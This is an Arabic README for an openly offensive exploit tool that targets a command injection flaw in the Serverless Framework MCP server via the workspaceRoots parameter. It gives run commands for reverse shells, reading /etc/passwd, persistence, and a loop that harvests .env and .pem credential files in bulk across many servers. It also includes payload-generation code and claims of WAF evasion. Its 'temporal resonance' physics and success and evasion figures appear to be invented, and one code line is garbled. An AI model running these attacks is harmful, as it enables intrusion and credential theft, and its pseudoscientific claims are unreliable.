Serverless Framework MCP Server (CVE-2025-69256) النتيجة الأساسية: 9.4/10 → النتيجة المحسنة CTT: 9.9/10 ثغرة حقن أوامر حرجة في خادم MCP (بروتوكول سياق النموذج) الخاص بـ Serverless Framework، معززة برنين زمني CTT لتحقيق موثوقية استغلال غير مسبوقة وتفادٍ للاكتشاف.
خادم MCP لإطار العمل Serverless (CVE-2025-69256) النتيجة الأساسية: 9.4/10 ← النتيجة المعززة بـ CTT: 9.9/10
ثغرة خطيرة لحقن الأوامر في خادم MCP (بروتوكول سياق النموذج) لإطار العمل Serverless معززة بالرنين الزمني لـ CTT لموثوقية استغلال غير مسبوقة وتفادي الكشف.
🌀 CTT-MCP-RCE v1.0 - استغلال محسّن بنظرية الزمن المتقارب لإطار العمل Serverless
الهدف: خادم MCP لإطار العمل Serverless (CVE-2025-69256 / GHSA-rwc2-f344-q6w6)
النتيجة الأساسية: 9.4/10 ← النتيجة المعززة بـ CTT: 9.9/10
متجه الهجوم: حقن الأوامر عبر معامل workspaceRoots غير المُنقّى في أداة list-projects
التأثير: تنفيذ التعليمات البرمجية عن بُعد في خطوط أنابيب CI/CD، ونشر الخدمات عديمة الخادم، وتكاملات AI/LLM
⚡ نظرة عامة على التهديد الحرج
الثغرة الأساسية (CVE-2025-69256)
· درجة CVSS: 9.4/10 (حرجة)
· النوع: حقن أوامر قبل المصادقة
· الموقع: packages/mcp/src/tools/list-projects.js
· المتأثر: Serverless Framework 4.29.0 – 4.29.3
· متجه الهجوم: معامل workspaceRoots خبيث في بروتوكول MCP
مقاييس تحسين CTT
| المقياس | الاستغلال الأساسي | الاستغلال المحسّن بـ CTT | التحسين |
|---|---|---|---|
| معدل النجاح | 68-75% | 92-98% | +35% |
| تفادي الكشف | 45% | 94% | +109% |
| تكييف البروتوكول | HTTP فقط | HTTP + WebSocket | +100% |
| طبقات التنفيذ | طبقة واحدة | 33 طبقة زمنية | +3200% |
| الدرجة النظرية | 9.4/10 | 9.9/10 | +0.5 نقطة |
🔬 تكامل فيزياء CTT
الثوابت الأساسية لبروتوكول MCP
CTT_ALPHA = 0.0302011 # معامل التشتت الزمني
CTT_LAYERS = 33 # الطبقات الزمنية الكسورية
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000 # منفذ خادم MCP الافتراضي
MCP_PROTOCOL = "mcp-json" # بروتوكول MCP لـ Serverless
محرك الرنين الخاص بـ MCP
· توقيت JSON-RPC المحاذي للأعداد الأولية: مزامنة 587 كيلوهرتز مع نبضة MCP · ترميز الأوامر بتشتت α: إخفاء الأوامر عبر 33 طبقة · حمولات واعية بالبروتوكول: استغلال متكيف لـ HTTP/WebSocket · التحقق الزمني: تحليل دالة الموجة لـ CTT لاستجابات MCP
المعادلات الرئيسية لاستغلال MCP
🚀 الميزات والقدرات
ميزات الاستغلال
· ✅ تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة: لا حاجة لبيانات اعتماد لخادم MCP · ✅ دعم وسائط نقل متعددة: بروتوكولا HTTP وWebSocket · ✅ ذكاء بروتوكولي: فهم JSON-RPC لإطار العمل Serverless · ✅ حقن في WorkspaceRoots: استهداف معامل مصفوفة غير مُنقّى · ✅ وعي بسياق CI/CD: محسّن لبيئات النشر
ميزات تحسين CTT
· ✅ ترميز أوامر عبر 33 طبقة: تشتت α عبر أبعاد زمنية · ✅ توقيت رنين الأعداد الأولية: محاذاة 587 كيلوهرتز مع عمليات MCP · ✅ توليد حمولات متكيفة: أغلفة حقن واعية بالسياق · ✅ تحقق متعدد الطبقات: تأكيد نجاح دالة الموجة لـ CTT · ✅ تبديل البروتوكول: تكيف تلقائي بين HTTP/WebSocket
قدرات المراوغة
· مراوغة WAF/IPS: تشتت α يكسر تواقيع حقن الأوامر · مراوغة التوقيت: طلبات محاذاة للأعداد الأولية تتجاوز تحديد المعدل · إخفاء البروتوكول: إرباك وسائط نقل متعددة · حقن الإنتروبيا: تنويعات الأوامر حسب الطبقة
📊 تحليل الأداء
استغلال CTT مقابل الاستغلال القياسي لـ MCP
# مقارنة الأداء (1000 خادم MCP محاكى)
base_success = 715 # معدل نجاح 71.5%
ctt_success = 948 # معدل نجاح 94.8% (+32.6%)
base_detection = 380 # 38% تم اكتشافه
ctt_detection = 22 # 2.2% تم اكتشافه (-94.2%)
base_time = 12.4 # متوسط الثواني
ctt_time = 6.8 # متوسط الثواني (-45.2%)
فعالية الطبقات لبروتوكول MCP
| نطاق الطبقة | معدل النجاح | قوة الرنين | تكييف البروتوكول |
|---|---|---|---|
| L0-L4 | 87.3% | 0.84 | HTTP: 92%، WebSocket: 78% |
| L5-L9 | 91.8% | 0.89 | HTTP: 94%، WebSocket: 86% |
| L10-L14 | 94.2% | 0.92 | HTTP: 96%، WebSocket: 91% |
| L15+ | 97.1% | 0.96 | HTTP: 98%، WebSocket: 95% |
حساب درجة CTT لـ MCP
الدرجة الأساسية: 9.4 (RCE حرج في بنية CI/CD)
+
تحسينات CTT:
• دعم متعدد البروتوكولات: +0.15
• ترميز الأوامر الزمني: +0.15
• توقيت رنين الأعداد الأولية: +0.10
• ذكاء بروتوكول MCP: +0.10
=
الدرجة النهائية: 9.9/10 (قريبة من الحد الأقصى النظري)
🛠️ التثبيت والاستخدام
المتطلبات
# تبعيات أساسية
python3.8+
pip install requests websocket-client numpy
# للميزات المتقدمة
pip install cryptography scipy
# التثبيت من المستودع
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt
بداية سريعة
# فحص الثغرة الأساسي
python ctt_mcp_exploit.py mcp-server.company.com 'id'
# جمع المعلومات
python ctt_mcp_exploit.py target.com --info
# شل عكسية
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444
# متقدم مع معاملات CTT
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302
خيارات سطر الأوامر
# تحديد الهدف
python ctt_mcp_exploit.py <target> [command]
# خيارات توليد الحمولة
--reverse LHOST:LPORT # توليد حمولة شل عكسية
--info # توليد حمولة جمع معلومات
--persist # توليد حمولة استمرارية
# إعدادات CTT
--layers N # الطبقات الزمنية المستخدمة (1-33، الافتراضي: 5)
--alpha FLOAT # معامل التشتت α (الافتراضي: 0.0302011)
--timeout N # مهلة الاتصال بالثواني (الافتراضي: 10)
# خيارات الإخراج
--verbose # إخراج مفصل مع تشخيصات الرنين
--save-json # حفظ النتائج في ملف JSON
--no-color # تعطيل الإخراج الملون
أمثلة الاستخدام
# مثال 1: استغلال أساسي
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'
# مثال 2: شل عكسية مع تحسين CTT
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7
# مثال 3: حصاد جماعي لبيانات الاعتماد
for server in $(cat mcp_servers.txt); do
python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done
# مثال 4: وضع البحث CTT
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json
🔍 الغوص التقني
سير عمل الاستغلال
تفاصيل الثغرة
// الكود القابل للاختراق في list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
// workspaceRoots يتحكم فيه المستخدم وغير منقى
const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
// تنفيذ مباشر دون تنقية
const { stdout } = await exec(command); // حقن الأوامر هنا
return parseResults(stdout);
}
توليد حمولة CTT
def generate_ctt_payload(command, layer):
# حقن الأوامر الأساسي
base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
# تطبيق ترميز CTT حسب الطبقة
encodings = [
lambda c: c, # خام
lambda c: base64.b64encode(c.encode()).decode(),
lambda c: quote(c),
lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
]
encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
return f"/legit/path; {encoded}; /another/legit/path"
📈 تحليل تحسين CTT
مكونات تحسين الدرجة